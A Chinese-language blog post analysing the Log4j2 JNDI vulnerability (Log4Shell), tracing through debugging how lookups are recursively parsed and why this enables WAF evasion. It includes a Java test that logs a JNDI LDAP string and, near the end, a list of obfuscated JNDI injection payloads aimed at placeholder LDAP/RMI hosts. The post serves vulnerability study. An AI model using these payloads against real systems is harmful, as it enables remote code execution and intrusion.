https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

Log4j漏洞分析学习

Log4j 漏洞分析学习

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中

流程分析:

影响版本: Apache Log4j 2.x <= 2.15.0-rc2

依赖: log4j-api可有可无

<dependency>
	<groupId>org.apache.logging.log4j</groupId>
	<artifactId>log4j-api</artifactId>
	<version>2.14.0</version>
</dependency>
<dependency>
	<groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Log4jTest {
    private static final Logger logger = LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {
        logger.debug("debug--调式");
        logger.info("info--信息");
        logger.warn("warn--警告");
        logger.error("${jndi:ldap://127.0.0.1:8085/cxxsgxRv}");
        logger.fatal("fatal--严重错误");
    }
}

log4j将日志分为8个等级,默认error级别以上会触发漏洞点#logMessage,也可以通过手工xml配置改变这点更低级别也可触发

接下来就是调式分析,并且会分析为什么有些log4j中对数据的处理导致能够绕waf

前面的很简单,判断日志等级是否触发logmessage,我们看logmessage之后的逻辑

首先遍历appenders处理器,我这里是使用的默认的,没有配置,只有一个,调用callAppender

image-20250523170612628

接着看到PatternLayout#toSerializable,转化为如下格式。

17:08:05.336 [main] ERROR com.kudo.Log4jTest - ${jndi:ldap://127.0.0.1:8085/piwyhqCz}(最后打印在控制台)

可以看到有11个PatternFormatter,但其中的converter都是不同的处理不同的信息在

image-20250523170933756

在format中会调用各自的converter.format处理字符串,如日期处理为17:08:05,我们直接看处理我们payload的那一个converter.format

image-20250523171219672

即MessagePatternConverter#format,首先识别${,然后进行调用replace,replace中调用substitute

image-20250523171440011

image-20250523173653657

如果匹配到了前缀,则再会匹配后缀

当属于嵌套类型时,比如${${}},参数nestedVarCount会执行 + 1 操作,表示存在嵌套,防止找错闭合时用的}

这里可以看出log4j是递归解析的,所以我们在payload中也可以进行嵌套调用,解析完${}接下来就该解析:前后的协议以及内容了

image-20250523174703077

接下来可以看到是使用了两个匹配器去匹配冒号

image-20250523174848536

匹配 :\-

image-20250523174931889

匹配器:-

image-20250523175121239

- :- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
- :\- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc

这就是为什么能够使用上述特性绕过waf

我们这里的payload没有上述两种,所以不替换跳出循环然后开始解析b

image-20250523175637159

后面就很简单了,寻找对应的协议的lookup,jndi这里对应的是jndilookup,同时我们也能看到支持很多协议如lower,upper等大小写转换,也能用来绕waf

image-20250523175730591

image-20250523175817933

image-20250523180019810

所以下面这些绕过payload也就都能理解

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}  
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/a}

${${TAUKQ:WKITH:-j}${TAUKQ:TAUKQ:TAUKQ:-n}${ekm:asdafgg:-d}${jkk:uis:-i}:${upperasd:aswwww:-l}${lower:d:-asasaa}${jkk:uis:-a}${lower:p:-iiiiss}${lower:-:}//127.0.0.1:8085/piwyhqCz}

${${::-j}ndi:ldap://127.0.0.1:8085/piwyhqCz}
posted @ 2025-05-23 19:43  kudo4869  阅读(61)  评论(0)    收藏  举报